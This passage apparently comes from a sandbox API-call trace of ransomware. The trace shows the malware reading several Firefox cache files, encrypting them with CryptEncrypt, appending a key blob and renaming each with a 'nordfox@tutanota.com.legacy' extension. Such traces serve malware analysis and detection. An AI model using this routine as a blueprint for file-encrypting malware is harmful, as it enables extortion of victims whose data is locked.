"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.298] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15528) returned 1 [0192.298] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ca8) returned 0x30d7038 [0192.298] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ca8) returned 0x30dace8 [0192.298] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x3ca8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ca8, lpOverlapped=0x0) returned 1 [0192.310] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-15528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.311] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dace8*, nNumberOfBytesToWrite=0x3ca8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dace8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ca8, lpOverlapped=0x0) returned 1 [0192.311] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ca8 [0192.311] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.311] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.311] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d668*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.311] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.311] CloseHandle (hObject=0x1b80) returned 1 [0192.312] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d248 | out: pbBuffer=0x60d248) returned 1 [0192.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", dwFileAttributes=0x80) returned 1 [0192.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d668 [0192.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.314] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.314] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18450) returned 1 [0192.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4812) returned 0x30d7038 [0192.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4812) returned 0x30db858 [0192.314] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x4812, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x4812, lpOverlapped=0x0) returned 1 [0192.378] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-18450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.379] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db858*, nNumberOfBytesToWrite=0x4812, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db858*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4812, lpOverlapped=0x0) returned 1 [0192.379] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4812 [0192.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.379] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d248*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.379] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.379] CloseHandle (hObject=0x1b80) returned 1 [0192.380] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d878 | out: pbBuffer=0x60d878) returned 1 [0192.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.382] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", dwFileAttributes=0x80) returned 1 [0192.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60dea8 [0192.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.382] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.383] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=435) returned 1 [0192.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b3) returned 0x5646a8 [0192.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b3) returned 0x52f438 [0192.383] ReadFile (in: hFile=0x1b80, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1b3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1b3, lpOverlapped=0x0) returned 1 [0192.383] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.383] WriteFile (in: hFile=0x1b80, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1b3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1b3, lpOverlapped=0x0) returned 1 [0192.384] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1b3 [0192.384] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.384] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d878*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d878*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.384] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d878*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d878*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.385] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.385] CloseHandle (hObject=0x1b80) returned 1 [0192.385] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.387] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60ce28 | out: pbBuffer=0x60ce28) returned 1 [0192.387] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.387] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", dwFileAttributes=0x80) returned 1 [0192.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d878 [0192.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.388] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.388] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4411) returned 1 [0192.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113b) returned 0x30f5890 [0192.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113b) returned 0x30d7038 [0192.388] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x113b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x113b, lpOverlapped=0x0) returned 1 [0192.394] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4411, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.395] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0x113b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113b, lpOverlapped=0x0) returned 1 [0192.395] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113b [0192.395] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.395] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.395] WriteFile (in: hFile=0x1b80, lpBuffer=0x60ce28*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60ce28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.395] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.395] CloseHandle (hObject=0x1b80) returned 1 [0192.395] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.397] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.397] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.397] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", dwFileAttributes=0x80) returned 1 [0192.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60ce28 [0192.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.398] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.398] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6182) returned 1 [0192.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1826) returned 0x30d7038 [0192.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1826) returned 0x30d8868 [0192.398] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1826, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1826, lpOverlapped=0x0) returned 1 [0192.399] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6182, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.399] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8868*, nNumberOfBytesToWrite=0x1826, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8868*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1826, lpOverlapped=0x0) returned 1 [0192.400] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1826 [0192.400] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.400] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.400] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.400] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.400] CloseHandle (hObject=0x1b80) returned 1 [0192.400] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d248 | out: pbBuffer=0x60d248) returned 1 [0192.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0192.402] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", dwFileAttributes=0x80) returned 1 [0192.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60dc98 [0192.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.403] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.403] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3834) returned 1 [0192.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xefa) returned 0x30f5890 [0192.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xefa) returned 0x30d7038 [0192.403] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0192.414] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.414] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0192.414] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefa [0192.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.414] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d248*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.415] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.415] CloseHandle (hObject=0x1b80) returned 1 [0192.415] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d668 | out: pbBuffer=0x60d668) returned 1 [0192.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.417] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", dwFileAttributes=0x80) returned 1 [0192.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d248 [0192.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.417] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.418] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4452) returned 1 